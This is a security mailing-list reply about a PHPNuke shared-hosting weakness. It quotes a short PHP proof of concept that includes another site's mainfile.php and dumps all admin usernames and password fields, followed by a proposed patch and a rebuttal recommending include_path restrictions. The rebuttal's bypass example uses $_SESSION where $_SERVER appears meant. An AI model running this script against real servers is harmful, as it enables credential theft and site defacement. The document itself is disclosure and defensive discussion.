<snip>
> <?php
> require_once ("/location_of_victim's_PHPNuke/mainfile.php");
> $sql = $db->sql_query("SELECT aid,pwd FROM ".$prefix."_authors");
> while($record = $db->sql_fetchrow($sql))
> ~ echo "Username: $record[aid]\n<br>\nPassword: $record[pwd]\n<br><br>\n";
> unset($sql);
> ?>
>
> Queries are executed normally because config.php (which is included by
> mainfile.php) provides the information in order to connect to the chosen
> database. This is a very easy way to deface PHPNuke-based websites or
> adding and removing users, and so on.
>
> This "homemade patch" goes in config.php, just below connection
> variables. It checks domain name provided by web server with the one
> provided by the user and grants execution of SQL queries only if domain
> names match. Here is the code:
>
> $domainname = "www.example.com";
> if ($_SERVER['SERVER_NAME'] != $domainname ) {
> ~ echo "Access denied";
> ~ die();
> }
>
> This vulnerability isn't only for PHPNuke, but also for every CMS that
> doesn't check domain names.
>
> Greetings,
>
> Luca Falavigna
Actually this "vulnerability" exist for all server side code. You could
even step up one level and have the php code printed out, getting the
passwords/usernames for the passwords in plain text for a more direct
usage. Two points I would like to make:
1. I would not call this a vulnerability. If you CAN do this for a
system, I would call it a configuration problem. PHP should be limited
to only accept allowed include directories by use of the include_path
option. This can be setup on a virtual domain basis, and thereby
preventing any other virtual domains from doing any such evil.
2. Even if this was a bug, the fix you propose would not really work. In
your code, you could simply add a $_SESSION['SERVER_NAME'] =
"some_other_domain_name"; prior to the include statement, and the code
would be still be fooled.
However, this is a point that website admins should be attentive to when
setting up multiple domain servers.
/Peter Hagstrøm
